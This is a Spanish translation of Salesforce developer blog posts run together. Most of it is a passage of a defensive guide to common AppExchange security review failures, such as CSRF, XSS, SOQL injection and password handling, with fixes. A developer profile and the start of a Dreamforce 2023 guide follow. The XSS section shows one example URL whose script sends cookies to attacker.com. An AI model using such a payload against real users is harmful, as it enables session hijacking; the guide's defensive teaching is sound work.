Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Oleh Mykytyn encuentra su propósito como desarrollador de Salesforce ☁️

Oleh Mykytyn encuentra su propósito como desarrollador de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Oleh Mykytyn encuentra su propósito como desarrollador de Salesforce | Blog de desarrolladores de Salesforce

El desarrollador de Salesforce, Oleh Mykytyn , comenzó su viaje con Salesforce en 2015 cuando su hermano, Nazar, también desarrollador de Salesforce, recomendó probar Salesforce a través de la plataforma de aprendizaje Trailhead . Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades más demandadas y relevantes de la actualidad, obtener credenciales dignas de un currículum y conectarse a oportunidades globales. Cuando Oleh se enteró de que podía obtener una sudadera con capucha Trailblazer por completar cinco insignias Trailhead, se propuso ese objetivo.

Bueno, Oleh consiguió esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Después de ese logro inicial, Oleh pasó a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .

Pero Oleh también ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atención al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe artículos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no creía que pudiera lograr tales cosas, pero ahora confía en que puede lograr el éxito profesional con trabajo duro, pasión y un proceso paso a paso.

Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'

Qué significa ser un desarrollador de Salesforce

"Ser desarrollador de Salesforce significa estar preparado para los desafíos", dice Oleh. “Siempre hay que pensar en grande y utilizar el pensamiento crítico. Un desarrollador es una 'partícula' poderosa que impulsa la evolución del mundo y trae cosas increíbles a nuestras vidas para hacerlas más simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes”.

Ser desarrollador de Salesforce significa estar preparado para los desafíos.

Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compañeros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: “Recuerdo haber reprobado un examen o haber tenido desafíos en un proyecto, y siempre me decían: 'La próxima vez lo conseguirás'. ¡Y eso siempre pasó!”

 A Oleh siempre le entusiasma ver cómo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver cómo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y quedó sorprendido por lo atento que estaba Marc a cada palabra, así como por cómo consideraba cada comentario de Oleh.

Oleh y el director ejecutivo de Salesforce, Marc Benioff

Algunas sorpresas en el viaje de Salesforce

Al comienzo de su trayectoria en Salesforce, Oleh descubrió a Jim Rohn, un autor y orador motivacional estadounidense, que ayudó a Oleh a cambiar su forma de pensar. Recordará una cita particular de Rohn por el resto de su vida: “No desearía que fuera más fácil; Ojalá estuvieras mejor”.

 Con este espíritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la práctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .

Oleh tras aprobar su primer examen de certificación de Salesforce

Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones más cada año. Esto le permite seguir desafiándose a sí mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendió su primera certificación, “App Builder”, dos veces y consideró brevemente que el desarrollo de TI no era para él. Pero luego se dio cuenta de que había subestimado el examen y necesitaba prepararse más de antemano.

Entonces, primero, Oleh analizó la sección en la que había suspendido con los porcentajes de cobertura más bajos. Luego, utilizó preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensión de la funcionalidad y le ayudó a recordarla mejor que simplemente leer sobre ella.

Él dice: “Me inscribí nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pasé y fue uno de los mejores días de mi vida. Después de eso, obtuve una certificación tras otra y ahora sé definitivamente que el fracaso es la clave del éxito”.

Lecciones aprendidas de la comunidad Trailblazer

Oleh se involucró profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendió muchas lecciones a lo largo del camino. Dice: “Aprendí que la marca personal a veces es crucial y, en combinación con las habilidades técnicas, esto es… ¡BOOM! Realmente creo que los desarrolladores más fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas”. Oleh explica que debe gran parte de su éxito a la buena comunicación, la empatía, la generación de confianza y el deseo de ser una buena persona en el mundo. Además, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.

Aprendí que la marca personal a veces es crucial y, en combinación con las habilidades técnicas, esto es: ¡BOOM!

Las habilidades interpersonales y una actitud positiva también son una alta prioridad para el equipo de Oleh. Creen que aquellos que están dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnológicas necesarias. “Menos miedo y más aportaciones”, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sueños por miedo".

Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos

"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devuélvelo cuando estés listo". En 2016, un buen amigo de los Países Bajos le habló de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustaría llevarlos a los desarrolladores de Lviv .

La comunidad Trailblazer es su familia.

Oleh recuerda: "Cuando comenzó el grupo de Lviv, tomé la iniciativa de liderar el grupo y luego comencé a conocer todos los eventos para desarrolladores de Salesforce". Esto llevó a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fundó Salesforce Saturday en Lviv, una reunión en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creación de canales de Slack y transmisión de YouTube a otras ciudades antes de los eventos virtuales.

El grupo de desarrolladores de Salesforce en Lviv

" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. “Esto ayuda a hacer crecer nuestra familia Trailblazer Community. ¡La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uniéndose a un foro, redes sociales y, por supuesto, eventos!

 La comunidad Trailblazer también ha hecho una gran contribución a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. Él dice: “Estoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy”.

La comunidad Trailblazer apoya al país de origen de Oleh, Ucrania, en Dreamforce 2022.

Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un sábado de Salesforce en su área y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son más atractivos e inspiradores".

 Para conocer desarrolladores como Oleh y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de múltiples premios, cree en la tecnología, la comunidad y la igualdad.

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La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.

